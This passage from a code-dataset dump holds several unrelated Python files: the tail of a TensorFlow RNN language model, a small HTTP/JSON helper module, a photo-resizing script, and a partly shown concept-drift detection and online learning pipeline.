rnn_initial_state_00 = cells(tf.concat([inputs[:,i,:], tf.zeros([batch_size, 1])], 1), state_0)\n\t\t\toutput_01, rnn_initial_state_01 = cells(tf.concat([inputs[:,i,:], tf.zeros([batch_size, 1])], 1), state_0)\n\t\t\toutput_10, rnn_initial_state_10 = cells(tf.concat([inputs[:,i,:], tf.ones([batch_size, 1])], 1), state_1)\n\t\t\toutput_11, rnn_initial_state_11 = cells(tf.concat([inputs[:,i,:], tf.ones([batch_size, 1])], 1), state_1)\n\n\t\t\trnn_outputs = tf.stack([output_00, output_01, output_10, output_11], axis=2)\n\t\t\trnn_initial_states = tf.stack([rnn_initial_state_00, rnn_initial_state_01, rnn_initial_state_10, rnn_initial_state_11], axis=3)\n\t\t\tlogit = tf.tensordot(rnn_outputs, softmax_w, [[1], [0]]) + softmax_b\n\n\t\t\tentropy = tf.reduce_sum(tf.nn.softmax(logit, 2) * tf.nn.log_softmax(logit, 2), 2)\n\n\t\t\tidx = tf.range(batch_size, dtype=tf.int32)\n\n\t\t\tmin_index_output = tf.stack([idx, tf.argmin(entropy, axis=1, output_type=tf.int32)], axis=1)\n\t\t\tmin_index_state_0 = tf.stack([idx, tf.argmin(entropy[:,:2], axis=1, output_type=tf.int32)], axis=1)\n\t\t\tmin_index_state_1 = tf.stack([idx, tf.argmin(entropy[:,2:], axis=1, output_type=tf.int32) + 2], axis=1)\n\n\t\t\tlogits.append(tf.gather_nd(logit, min_index_output))\n\t\t\tstate_0 = tf.transpose(tf.gather_nd(tf.transpose(rnn_initial_states, [2,3,0,1,4]), min_index_state_0), [1,2,0,3])\n\t\t\tstate_1 = tf.transpose(tf.gather_nd(tf.transpose(rnn_initial_states, [2,3,0,1,4]), min_index_state_1), [1,2,0,3])\n\n\t\t\tstate_0 = [tf.contrib.rnn.LSTMStateTuple(state_0[i,0,:,:],state_0[i,1,:,:]) for i in range(num_hidden_layers)]\n\t\t\tstate_1 = [tf.contrib.rnn.LSTMStateTuple(state_1[i,0,:,:],state_1[i,1,:,:]) for i in range(num_hidden_layers)]\n\n\tlogits = tf.stack(logits, axis=1)\n\t\n\tloss = tf.contrib.seq2seq.sequence_loss(logits\n\t\t\t\t\t\t\t\t\t\t\t, target\n\t\t\t\t\t\t\t\t\t\t\t, tf.ones([batch_size, num_steps]\n\t\t\t\t\t\t\t\t\t\t\t, dtype=tf.float32)\n\t\t\t\t\t\t\t\t\t\t\t, average_across_timesteps=True\n\t\t\t\t\t\t\t\t\t\t\t, average_across_batch=True)\n\n\treturn input_data, target, keep_prob, loss, rnn_initial_state_0, rnn_initial_state_1, state_0, state_1\n\nif __name__ == '__main__':\n\tfile1 = \"data/SEAME/train.txt\"\n\tfile2 = \"data/SEAME/dev.txt\"\n\tfile3 = \"data/SEAME/test.txt\"\n\n\tfile4 = \"data/SEAME/segmentation_train.txt\"\n\tfile5 = \"data/SEAME/segmentation_dev.txt\"\n\tfile6 = \"data/SEAME/segmentation_test.txt\"\n\n\tindex1 = []\n\tindex2 = []\n\tmodel_init_path = \"models/cond-rnn_model-4.ckpt\"\n\tmodel_save_path = model_init_path\n\tmodel_restore_path = model_init_path\n\n\tbatch_size = 32\n\tnum_steps = 32\n\tnum_hidden_units = 512\n\trnn_size = num_hidden_units\n\tnum_hidden_layers = 2\n\tgrad_clip = 5\n\tmomentum = 0.95\n\tinit_scale = 0.1\n\tlearning_rate = 0.001\n\tepoch = 0\n\tunk_word_k = 1400\n\tepsilon = 1e-10\n\tword_vocab_size = 24635 - unk_word_k + 1 # Total distinct words - the least words not being considered plus \n\n\twith tf.device('/gpu:0'):\n\t\tfrom tensorflow.python.tools import inspect_checkpoint as inch\n\n\t\ttf.reset_default_graph()\n\n\t\tinput_data, segmentation_data, target, keep_prob, cost, train_op, final_state, rnn_initial_state = train_graph()\n\t\t\n\t\tinitializer = tf.random_uniform_initializer(-init_scale, init_scale) \n\t\tsaver = tf.train.Saver(tf.trainable_variables())\n\t\t\n\t\tdata = make_combined_data(file1, file4)\n\t\tdev_data = make_combined_data(file2, file5)\n\t\ttest_data = make_combined_data(file3, file6)\n\n\t\twordid_map = make_wordid_map(data, unk_word_k)\n\n\t\tinit = tf.global_variables_initializer()\n\t\tindex1 = initialize_index(batch_size,num_steps,len(data))\n\t\tindex2 = initialize_index(batch_size,num_steps,len(dev_data))\n\t\tindex3 = initialize_index(batch_size,num_steps,len(test_data))\n\n\t\t# for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES):\n\t\t# \tprint(v)\n\n\t\tconfig = tf.ConfigProto(allow_soft_placement=True)\n\t\tconfig.gpu_options.allow_growth = True\n\n\t\twith tf.Session(config=config) as sess:\n\n\t\t\tif not os.path.isfile(model_restore_path+\".meta\"):\n\t\t\t\tsess.run(init)\n\t\t\t\tsave_path = saver.save(sess, model_init_path)\n\t\t\t\tprint(\"Model saved in file: %s\" % save_path)\n\t\t\t\n\t\t\ttt = 0\n\t\t\tsaver.restore(sess,model_restore_path)\n\t\t\twhile tt < epoch :\n\t\t\t\tprint (\"Epoch %d : \" % tt)\n\t\t\t\tstep = 0\n\t\t\t\ttotal_cost = 0.0\n\t\t\t\tstate = sess.run(rnn_initial_state)\n\t\t\t\twhile (step+1)*batch_size*num_steps < len(data):\n\t\t\t\t\tbatch_x, seg_x, batch_y = get_batch(index1,data, wordid_map ,step, batch_size, num_steps)\n\t\t\t\t\tprint(len(batch_x[0]))\n\t\t\t\t\tstate,train_cost,_ = sess.run([final_state,cost,train_op],\n\t\t\t\t\t\t\t\t\t\t\t\tfeed_dict = {input_data:batch_x,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsegmentation_data:seg_x,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttarget:batch_y,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trnn_initial_state: state,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tkeep_prob :0.4})\n\t\t\t\t\ttotal_cost += train_cost\n\t\t\t\t\tstep += 1\n\t\t\t\tprint (\"Training ppl: %f \" % np.exp(total_cost/step))\n\t\t\t\tstep = 0\n\t\t\t\ttotal_cost = 0.0\n\t\t\t\tstate = sess.run(rnn_initial_state)\n\t\t\t\twhile (step+1)*batch_size*num_steps < len(dev_data):\n\t\t\t\t\tbatch_x, seg_x, batch_y = get_batch(index2,data, wordid_map ,step, batch_size, num_steps)\n\t\t\t\t\tstate,train_cost,_ = sess.run([final_state,cost,train_op],\n\t\t\t\t\t\t\t\t\t\t\t\tfeed_dict = {input_data:batch_x,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsegmentation_data:seg_x,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttarget:batch_y,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trnn_initial_state: state,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tkeep_prob :1.0})\n\t\t\t\t\ttotal_cost += train_cost\n\t\t\t\t\tstep += 1\n\n\t\t\t\ttotal_cost = np.exp(total_cost/step)\n\t\t\t\tprint(\"Dev Perplexity %f\" % (total_cost))\n\t\t\t\ttt +=1\n\t\t\t\tsave_path = saver.save(sess, model_save_path)\n\t\t\t\t# print(\"Checkpoint at \" + str(datetime.now()))\n\n\n\t\ttf.reset_default_graph()\n\t\t\n\t\t# inch.print_tensors_in_checkpoint_file(model_restore_path, '', False, all_tensor_names=True)\n\t\tinput_data, target, keep_prob, loss, rnn_initial_state_0, rnn_initial_state_1, state_0, state_1 = inference_graph()\n\t\tsaver = tf.train.Saver(tf.trainable_variables())\n\n\t\t# for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES):\n\t\t# \tprint(v)\n\n\t\twith tf.Session(config=config) as sess:\n\t\t\t\n\t\t\tsaver.restore(sess,model_restore_path)\n\n\t\t\tstep = 0\n\t\t\ttotal_cost = 0.0\n\t\t\tstate = sess.run([rnn_initial_state_0, rnn_initial_state_1])\n\t\t\twhile (step+1)*batch_size*num_steps < len(test_data):\n\t\t\t\tbatch_x, _, batch_y = get_batch(index3,test_data, wordid_map ,step, batch_size, num_steps)\n\t\t\t\t\n\t\t\t\tstate, test_cost = sess.run([[state_0, state_1], loss],\n\t\t\t\t\t\t\t\t\t\t\tfeed_dict = {input_data:batch_x,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttarget:batch_y, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\trnn_initial_state_0: state[0],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\trnn_initial_state_1: state[1],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tkeep_prob : 1.0})\n\t\t\t\ttotal_cost += test_cost\n\t\t\t\tstep += 1\n\t\t\tprint (\"Testing perplexity %f\" % np.exp(total_cost/step))\n","sub_path":"src/cond-lookahead-rnnlm.py","file_name":"cond-lookahead-rnnlm.py","file_ext":"py","file_size_in_byte":12259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"90354035","text":"from __future__ import print_function\nimport json\nimport requests\nimport sys\nimport os\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\ndef read_input():\n input_str = sys.stdin.read()\n input_json = {}\n try:\n input_json = json.loads(input_str)\n except ValueError as E:\n eprint(\"Failed to serialize input\")\n exit(1)\n\n return input_json\n\n\ndef do_request(bender_url, verb=\"GET\"):\n result = None\n try:\n if verb == \"GET\":\n result = requests.get(bender_url)\n elif verb == \"DELETE\":\n result = requests.delete(bender_url)\n\n except requests.exceptions.ConnectionError as E:\n print(json.dumps({\"error\": \"Failed to connect to '%s' because %s\" % (bender_url, E)}))\n exit(1)\n\n return result\n\n\ndef write_to_file(data):\n data = json.dumps(data)\n dir_to_write = os.path.expanduser(sys.argv[1])\n dir_to_write = os.path.abspath(os.path.join(dir_to_write, \"bender.json\"))\n f = open(dir_to_write,'w')\n f.write(data) # python will convert \\n to os.linesep\n f.close()\n","sub_path":"assets/bender/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"506727385","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# 你有一个目录,装了很多照片,把它们的尺寸变成都不大于 iPhone5 分辨率的大小。\n# iphone5分辨率:1136x640\n\nimport os\nfrom PIL import Image\n\nimagefilelist = []\n(width, height) = (640, 1136)\n# 找出图片类型文件名放入list\nfor root, dirs, name in os.walk('./image/'):\n for filename in name:\n if filename.endswith('jpg') or filename.endswith('jpeg') or filename.endswith('png'):\n imagefilelist.append(filename)\n# 循环处理每张照片\nfor imagefile in imagefilelist:\n with Image.open('./image/%s' % imagefile) as img:\n # w, h = img.size\n # n = w/1136 if (w/1136) >= (h/640) else h/640 # 宽高没有超过屏幕即不变\n img_new = img.resize((width, height))\n img_new.convert('RGB')\n img_new.save(imagefile)\n","sub_path":"practise/code/0005.py","file_name":"0005.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"66214889","text":"\"\"\"\n@Author: Dustin Xu\n@Date: 2020/2/25 14:31 PM\n@Description: 根据每个数据源设定drift检测step\n\"\"\"\nfrom data_structures.attribute_scheme import AttributeScheme\nfrom classifier_xu.__init__ import *\nfrom drift_detector_xu.__init__ import *\nfrom evaluate_xu.__init__ import *\nfrom result_save_xu.__init__ import *\nfrom data_stream_xu.data import Data\nfrom data_stream_xu.dataset import Dataset\nfrom filters.attribute_handlers import *\nfrom filters.project_creator import Project\nfrom data_structures.attribute import Attribute\n\nimport time\nimport datetime\nimport numpy as np\nimport json\nimport threading\n\n\n# 1.data generator\n\n# 2.test\n\n# 3.evaluate\n\n# 4.train\n\nclass DistributedOnlineLearning:\n def __init__(self, con):\n self.con = con\n self.attributes = []\n\n self.construct_attribute()\n self.nb = NaiveBayes([0, 1], self.attributes)\n self.last_wl_status = {}\n self.nb_set = {}\n self.instance_set = {}\n self.nb_classifier_accuracy = {}\n self.nb_batch_count = {}\n self.nb_drift_prob = {}\n self.plot_risk_level = {}\n self.data_statistics = {}\n self.configure = {}\n self.sub_file_path = {}\n self.warning_level_max = {}\n\n def construct_attribute(self):\n for attr in [('warning_level', 2, [0, 1, 2])]:\n for index in range(attr[1]):\n attribute = Attribute()\n attribute.set_name('{}_{}'.format(attr[0], index))\n attribute.set_type(TornadoDic.NOMINAL_ATTRIBUTE)\n attribute.set_possible_values(attr[2])\n self.attributes.append(attribute)\n\n @staticmethod\n def save_file(file, path, type_name=None):\n if type_name is not None:\n filename = path + '{}.json'.format(type_name)\n else:\n filename = path + '.json'\n with open(filename, 'w') as file_obj:\n json.dump(file, file_obj)\n print(filename + '==>' + 'saved ok!')\n\n @staticmethod\n def save_file_1(file, path, type_name=None):\n key = file.keys()\n for d_name in key:\n if type_name is not None:\n filename = path[d_name] + '{}.json'.format(type_name)\n else:\n filename = path[d_name] + d_name + '.json'\n if type_name is not 'configure':\n print(len(file[d_name]['delay']['time']), len(file[d_name]['delay']['warningLevel']), len(file[d_name]['delay']['nb_prob']))\n with open(filename, 'w') as file_obj:\n json.dump(file[d_name], file_obj)\n print(filename + '==>' + 'saved ok!')\n\n @staticmethod\n def cosin_relation(a, b):\n denominator = (np.linalg.norm(a) * np.linalg.norm(b))\n if denominator == 0:\n return 0\n else:\n return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))\n\n @staticmethod\n def get_date(days):\n aa = time.strptime('1800-01-01', \"%Y-%m-%d\")\n datetime.date(aa[0], aa[1], aa[2])\n return datetime.date(aa[0], aa[1], aa[2]) + datetime.timedelta(days=days)\n\n @staticmethod\n def calculate_warning_level(warning_list, warning_output, hit_list, w_l_m, repeated_flag=False):\n if repeated_flag:\n warning_output.append(warning_output[-1])\n if len(hit_list) == 0:\n hit_list.append(0)\n else:\n hit_list.append(hit_list[-1])\n else:\n _avg = round(sum(warning_list) / len(warning_list), 4)\n _max = round(max(warning_list), 4)\n if _max > w_l_m:\n w_l_m = _max\n if _max >= 3:\n hit_list.append(1)\n else:\n hit_list.append(0)\n warning_output.append({\n 'avg': _avg,\n 'max': _max\n })\n warning_list = []\n return warning_output, warning_list, hit_list, w_l_m\n\n @staticmethod\n def normalization_attribution(matrix, spilt_info):\n matrix = np.array(matrix)\n normalized_array = []\n for i in range(np.shape(matrix)[1] - 1):\n column = matrix[:, i].tolist()\n column_length = len(column)\n if len(spilt_info[i]) == 11:\n _temp = [[0] * 10][0]\n for unit in column:\n for k in range(len(spilt_info[i]) - 1):\n if spilt_info[i][k] <= unit <= spilt_info[i][k + 1]:\n _temp[k] += 1\n break\n normalized_array.append([value / column_length for value in _temp])\n else:\n temp = []\n for value in spilt_info[i]:\n temp.append(column.count(value) / column_length)\n normalized_array.append(temp)\n return normalized_array\n\n @staticmethod\n def calculate_correlation(matrix, last_batch, attr_dict, SI, label_correlation, batch_correlation,\n repeat_flag=False):\n if repeat_flag:\n last_batch_nor = last_batch\n count = 0\n for arr in attr_dict:\n if arr['num'] == 1:\n if last_batch is None:\n arr['correlation'].append(0)\n else:\n arr['correlation'].append(batch_correlation[count])\n arr['predict'].append(label_correlation[count])\n count += arr['num']\n else:\n if last_batch is None:\n arr['correlation'].append([arr['num'] * [0]][0])\n else:\n arr['correlation'].append(batch_correlation[count:count + arr['num']])\n arr['predict'].append(label_correlation[count:count + arr['num']])\n count += arr['num']\n else:\n matrix = np.array(matrix)\n label = matrix[:, -1]\n correlation_coefficient = []\n batch2batch = []\n count = 0\n if last_batch is None:\n last_batch_nor = DistributedOnlineLearning.normalization_attribution(matrix, SI)\n else:\n _matrix = DistributedOnlineLearning.normalization_attribution(matrix, SI)\n for j in range(len(last_batch)):\n batch_c = round(DistributedOnlineLearning.cosin_relation(last_batch[j], _matrix[j]), 4)\n batch2batch.append(batch_c)\n batch_correlation = batch2batch\n last_batch_nor = _matrix\n for i in range(np.shape(matrix)[1] - 1):\n c = round(DistributedOnlineLearning.cosin_relation(matrix[:, i], label), 4)\n correlation_coefficient.append(c)\n label_correlation = correlation_coefficient\n for arr in attr_dict:\n if arr['num'] == 1:\n if last_batch is None:\n arr['correlation'].append(0)\n else:\n arr['correlation'].append(batch2batch[count])\n arr['predict'].append(correlation_coefficient[count])\n count += arr['num']\n else:\n if last_batch is None:\n arr['correlation'].append([arr['num'] * [0]][0])\n else:\n arr['correlation'].append(batch2batch[count:count + arr['num']])\n arr['predict'].append(correlation_coefficient[count:count + arr['num']])\n count += arr['num']\n return attr_dict, last_batch_nor, label_correlation, batch_correlation\n\n @staticmethod\n def construct_correlation(data_source):\n dataset_attributes = Dataset.get_attributes(data_source)\n attribute_object = []\n a = dict()\n for arr in dataset_attributes:\n a['name'] = arr[0]\n a['predict'] = []\n a['correlation'] = []\n a['num'] = arr[1]\n attribute_object.append(a)\n a = dict()\n return attribute_object\n\n @staticmethod\n def statistic_spilt_information(inst, container):\n inst = inst[:-1]\n if len(container.keys()) == 0:\n for i, value in enumerate(inst):\n container[i] = {value}\n else:\n for i, value in enumerate(inst):\n container[i].add(value)\n return container\n\n @staticmethod\n def spilt(array):\n spilt_information = {}\n for i in range(len(array)):\n if len(array[i]) > 10:\n spilt_information[i] = [i * 0.1 for i in range(0, 11)]\n else:\n spilt_information[i] = sorted(array[i])\n return spilt_information\n\n @staticmethod\n def wl_transformer(num):\n if num < 2:\n return 0\n elif 2 <= num < 3:\n return 1\n else:\n return 2\n\n def sub_thread(self, dataset, sub_dataset, spilt_inform, folder_create, length):\n\n global global_count\n global naive_bayes_batch_count\n\n self.nb_set[sub_dataset] = NaiveBayes([0, 1], self.attributes)\n self.last_wl_status[sub_dataset] = dict(r_l=0, hit=[])\n self.instance_set[sub_dataset] = []\n self.nb_classifier_accuracy[sub_dataset] = dict(all_count=0, right_count=0, accuracy=[])\n self.nb_batch_count[sub_dataset] = 0\n self.nb_drift_prob[sub_dataset] = dict(prob=[], ground_truth=[])\n self.plot_risk_level[sub_dataset] = 0\n self.data_statistics[sub_dataset] = dict(name=sub_dataset,\n delay=dict(time=[], accuracy=[], nb_prob=[], bingo=[], hit=[], warning=[], drift=[], warningLevel=[], attributes=self.construct_correlation(dataset), batch_delay=2),\n online=dict(weight=[], time=[], dataNum=[]))\n self.configure[sub_dataset] = {}\n self.warning_level_max[sub_dataset] = 0\n\n # Set variables\n date_time_flag = False\n\n if dataset == 'prsa_data':\n __batch_size = 24 * 3600 # 3600 represent 1 hour\n elif dataset == 'movie_data':\n __batch_size = 24 * 3600 # 3600 represent 1 hour\n else:\n __batch_size = 0\n\n __instance_count = 0\n __window_size = Dataset.get_online_learning_batch_interval(dataset, sub_dataset)\n __step = 1000\n __start_point = 0\n __count = 0\n __last_unix_time = 0\n __last_warning_status = False\n __last_drift_status = False\n __data_length = Dataset.get_length(dataset, sub_dataset)\n __detect_interval = Dataset.get_detect_interval(dataset, sub_dataset)\n\n lc = []\n bc = []\n\n current_warning_status = {}\n warning_level_set = []\n current_drift_status = {}\n predict_corr = []\n last_batch_attributions = None\n\n detection = True\n drift_status = False\n\n # classifier flag\n prsa_flag = False\n\n # Creating a data stream\n data = Data(dataset, sub_dataset)\n labels, attributes = data.get_attributes()\n attributes_scheme = AttributeScheme.get_scheme(attributes)\n __numeric_attribute_scheme = attributes_scheme['numeric']\n\n # Creating a save content\n project = Project('projects/single/{}'.format(dataset), sub_dataset)\n self.sub_file_path[sub_dataset] = folder_create.sub_folder(sub_dataset)\n\n # Initializing a learner\n learner = Logistic(labels, attributes_scheme['numeric'])\n learner = OnlineAccuracyUpdatedEnsemble(labels, attributes_scheme['numeric'], learner,\n windowSize=__window_size, classifierLimit=10)\n\n # Initializing a drift detector\n drift_detector = DDM(interval=__detect_interval)\n\n # Initializing a evaluator\n evaluator = EvaluateWithWindowSize(learner, drift_detector, project, __window_size)\n\n # train & test\n for x, y, attribute in data.data(batch_size=1):\n if attribute is not None:\n attributes_scheme = AttributeScheme.get_scheme(attributes)\n __numeric_attribute_scheme = attributes_scheme['numeric']\n continue\n\n instance = x.tolist()[0] + [int(y.tolist()[0][0])]\n\n # 每条数据的unix时间戳\n # prsa data\n if dataset == 'prsa_data':\n date_time_flag = True\n date_time = list(map(int, instance[:4]))\n d = datetime.date(date_time[0], date_time[1], date_time[2])\n tt = datetime.time(date_time[3])\n datetime_str = str(d) + ' ' + str(tt)\n unix_time = int(time.mktime(time.strptime(datetime_str, '%Y-%m-%d %H:%M:%S')))\n if unix_time >= 1363881600:\n prsa_flag = True\n elif dataset == 'movie_data':\n # movie data\n if instance[-2] > 62091:\n date_time_flag = True\n prsa_flag = True\n date_time = DistributedOnlineLearning.get_date(instance[-2])\n datetime_str = str(date_time) + ' ' + '00:00:00'\n unix_time = int(time.mktime(time.strptime(datetime_str, '%Y-%m-%d %H:%M:%S')))\n\n instance[0:len(instance) - 1] = Normalizer.normalize(instance[0:len(instance) - 1],\n __numeric_attribute_scheme)\n __instance_count += 1\n\n if __instance_count % 10000 == 0 or __instance_count == __data_length:\n percentage = (__instance_count / __data_length) * 100\n print(sub_dataset, \"%0.2f\" % percentage + \"% of instances are prequentially processed!\")\n\n if __instance_count > __window_size and date_time_flag and prsa_flag:\n if dataset == 'prsa_data':\n if unix_time == 1363881600:\n __start_point = unix_time\n self.data_statistics[sub_dataset]['delay']['time'].append(__start_point)\n elif dataset == 'movie_data':\n if __instance_count == __window_size + 1:\n __start_point = unix_time\n self.data_statistics[sub_dataset]['delay']['time'].append(__start_point)\n\n difference_value = unix_time - __start_point\n if difference_value >= __batch_size:\n batch_interval = int(difference_value / __batch_size)\n for cc in range(batch_interval):\n if cc == 0:\n r_f = False\n else:\n r_f = True\n self.con.acquire() # 获得锁\n __start_point += __batch_size\n # for every batch\n # 权重\n self.data_statistics[sub_dataset]['online']['weight'].append(learner.currentClassifierWeights.tolist())\n # 属性记录\n self.data_statistics[sub_dataset]['delay']['attributes'], last_batch_attributions, lc, bc = self.calculate_correlation(\n predict_corr, last_batch_attributions, self.data_statistics[sub_dataset]['delay']['attributes'], spilt_inform, lc, bc,\n repeat_flag=r_f)\n # 准确度(可能会变, 目前是后端计算drift的准确率)\n self.data_statistics[sub_dataset]['delay']['accuracy'].append(drift_detector.accuracy)\n # batch开始时间\n self.data_statistics[sub_dataset]['delay']['time'].append(__start_point)\n # batch 数量\n self.data_statistics[sub_dataset]['online']['dataNum'].append(__count)\n # warning level\n self.data_statistics[sub_dataset]['delay']['warningLevel'], warning_level_set, self.data_statistics[sub_dataset]['delay']['hit'], self.warning_level_max[sub_dataset] = self.calculate_warning_level(\n warning_level_set, self.data_statistics[sub_dataset]['delay']['warningLevel'], self.data_statistics[sub_dataset]['delay']['hit'], self.warning_level_max[sub_dataset], repeated_flag=r_f)\n\n __count = 0\n\n self.last_wl_status[sub_dataset]['r_l'] = self.wl_transformer(self.data_statistics[sub_dataset]['delay']['warningLevel'][-1]['max'])\n if len(self.last_wl_status[sub_dataset]['hit']) >= 2:\n self.last_wl_status[sub_dataset]['hit'].pop(0)\n self.last_wl_status[sub_dataset]['hit'].append(self.data_statistics[sub_dataset]['delay']['hit'][-1])\n else:\n self.last_wl_status[sub_dataset]['hit'].append(self.data_statistics[sub_dataset]['delay']['hit'][-1])\n\n global_count += 1\n\n self.plot_risk_level[sub_dataset] = self.data_statistics[sub_dataset]['delay']['warningLevel'][-1]['max']\n\n if global_count == length:\n global_count = 0\n # 训练和测试每个模型的贝叶斯\n d_s_n = self.nb_set.keys()\n # 训练贝叶斯\n if len(self.data_statistics[sub_dataset]['delay']['warningLevel']) >= 2:\n for data_set_name in d_s_n:\n self.instance_set[data_set_name] = [self.last_wl_status[value]['r_l']\n for value in d_s_n if value != data_set_name] \\\n + [max(self.last_wl_status[data_set_name]['hit'])]\n if len(self.data_statistics[sub_dataset]['delay']['warningLevel']) >= 3:\n # testing\n for temple_name in d_s_n:\n self.nb_set[temple_name].set_ready()\n predict = self.nb_set[temple_name].do_testing(self.instance_set[temple_name])\n self.data_statistics[temple_name]['delay']['nb_prob'].append(self.nb_set[temple_name].drift_prob)\n self.nb_drift_prob[temple_name]['prob'].append(\n self.nb_set[temple_name].drift_prob)\n self.nb_drift_prob[temple_name]['ground_truth'].append(\n self.plot_risk_level[temple_name])\n\n if predict == self.instance_set[temple_name][-1]:\n self.nb_classifier_accuracy[temple_name]['right_count'] += 1\n self.nb_classifier_accuracy[temple_name]['all_count'] += 1\n self.nb_classifier_accuracy[temple_name]['accuracy'].append(\n round(self.nb_classifier_accuracy[temple_name]['right_count']\n / self.nb_classifier_accuracy[temple_name]['all_count'], 4))\n # training\n for temple_name in d_s_n:\n self.nb_set[temple_name].do_training(self.instance_set[temple_name],\n drift_status)\n else:\n for temple_name in d_s_n:\n self.nb_set[temple_name].do_training(self.instance_set[temple_name],\n drift_status)\n self.con.notifyAll()\n else:\n self.con.wait()\n\n predict_corr = [instance]\n __count = 1\n else:\n __count += 1\n predict_corr.append(instance)\n\n warning_level_set.append(drift_detector.risk)\n\n predicted_value = learner.do_testing(instance)\n\n prediction_status = evaluator.calculate_accuracy(predicted_value, instance[-1],\n output_size=__step, output_flag=False)\n\n if detection is True:\n warning_status, drift_status = drift_detector.detect(prediction_status)\n if warning_status is not __last_warning_status:\n if warning_status:\n current_warning_status['start'] = unix_time\n current_warning_status['max_accuracy'] = [drift_detector.o_s_d_min]\n current_warning_status['max_accuracy_time'] = [unix_time]\n current_warning_status['backend_accuracy'] = [drift_detector.accuracy]\n else:\n current_warning_status['end'] = __last_unix_time\n self.data_statistics[sub_dataset]['delay']['warning'].append(current_warning_status)\n current_warning_status = {}\n else:\n if warning_status:\n current_warning_status['max_accuracy'].append(drift_detector.o_s_d_min)\n current_warning_status['max_accuracy_time'].append(unix_time)\n current_warning_status['backend_accuracy'].append(drift_detector.accuracy)\n if drift_status is not __last_drift_status:\n if drift_status:\n current_drift_status['start'] = unix_time\n current_drift_status['max_accuracy'] = [drift_detector.o_s_d_min]\n current_drift_status['max_accuracy_time'] = [unix_time]\n current_drift_status['backend_accuracy'] = [drift_detector.accuracy]\n else:\n current_drift_status['end'] = __last_unix_time\n self.data_statistics[sub_dataset]['delay']['drift'].append(current_drift_status)\n current_drift_status = {}\n else:\n if drift_status:\n current_drift_status['max_accuracy'].append(drift_detector.o_s_d_min)\n current_drift_status['max_accuracy_time'].append(unix_time)\n current_drift_status['backend_accuracy'].append(drift_detector.accuracy)\n\n __last_warning_status = warning_status\n __last_drift_status = drift_status\n __last_unix_time = unix_time\n else:\n # warning_status = False\n drift_status = False\n\n if __instance_count == __data_length: # 最后一个batch可能只有少部分数据,要考虑\n self.con.acquire() # 获得锁\n # 权重\n self.data_statistics[sub_dataset]['online']['weight'].append(learner.currentClassifierWeights.tolist())\n # 属性记录\n self.data_statistics[sub_dataset]['delay']['attributes'], last_batch_attributions, lc, bc = self.calculate_correlation(\n predict_corr, last_batch_attributions, self.data_statistics[sub_dataset]['delay']['attributes'], spilt_inform, lc, bc,\n repeat_flag=False)\n # 准确度(可能会变, 目前是后端计算drift的准确率)\n self.data_statistics[sub_dataset]['delay']['accuracy'].append(drift_detector.accuracy)\n # batch 数量\n self.data_statistics[sub_dataset]['online']['dataNum'].append(__count)\n # warning level\n self.data_statistics[sub_dataset]['delay']['warningLevel'], warning_level_set, self.data_statistics[sub_dataset]['delay']['hit'], self.warning_level_max[sub_dataset] = self.calculate_warning_level(\n warning_level_set, self.data_statistics[sub_dataset]['delay']['warningLevel'], self.data_statistics[sub_dataset]['delay']['hit'], self.warning_level_max[sub_dataset], repeated_flag=False)\n\n self.last_wl_status[sub_dataset]['r_l'] = self.wl_transformer(self.data_statistics[sub_dataset]['delay']['warningLevel'][-1]['max'])\n if len(self.last_wl_status[sub_dataset]['hit']) >= 2:\n self.last_wl_status[sub_dataset]['hit'].pop(0)\n self.last_wl_status[sub_dataset]['hit'].append(self.data_statistics[sub_dataset]['delay']['hit'][-1])\n else:\n self.last_wl_status[sub_dataset]['hit'].append(self.data_statistics[sub_dataset]['delay']['hit'][-1])\n\n global_count += 1\n\n # 画 drift probability\n # Zip.plot_multi_1(self.nb_drift_prob[sub_dataset], sub_dataset)\n\n if global_count == length:\n global_count = 0\n # # 训练和测试每个模型的贝叶斯\n d_s_n = self.nb_set.keys()\n for data_set_name in d_s_n:\n self.instance_set[data_set_name] = [self.last_wl_status[value]['r_l']\n for value in d_s_n if value != data_set_name] \\\n + [max(self.last_wl_status[data_set_name]['hit'])]\n # testing\n for temple_name in d_s_n:\n self.nb_set[temple_name].set_ready()\n predict = self.nb_set[temple_name].do_testing(self.instance_set[temple_name])\n self.data_statistics[temple_name]['delay']['nb_prob'].append(\n self.nb_set[temple_name].drift_prob)\n self.nb_drift_prob[temple_name]['prob'].append(self.nb_set[temple_name].drift_prob)\n self.nb_drift_prob[temple_name]['ground_truth'].append(\n self.plot_risk_level[temple_name])\n\n if predict == self.instance_set[temple_name][-1]:\n self.nb_classifier_accuracy[temple_name]['right_count'] += 1\n self.nb_classifier_accuracy[temple_name]['all_count'] += 1\n self.nb_classifier_accuracy[temple_name]['accuracy'].append(\n round(self.nb_classifier_accuracy[temple_name]['right_count']\n / self.nb_classifier_accuracy[temple_name]['all_count'], 4))\n # training\n for temple_name in d_s_n:\n self.nb_set[temple_name].do_training(self.instance_set[temple_name], drift_status)\n\n # 保存每个数据源的状态\n # ① 每个数据源概念漂移检测+贝叶斯drift概率 + configure\n\n for key_name in self.data_statistics.keys():\n self.configure[key_name]['timeStart'] = self.data_statistics[key_name]['delay']['time'][0]\n self.configure[key_name]['timeEnd'] = 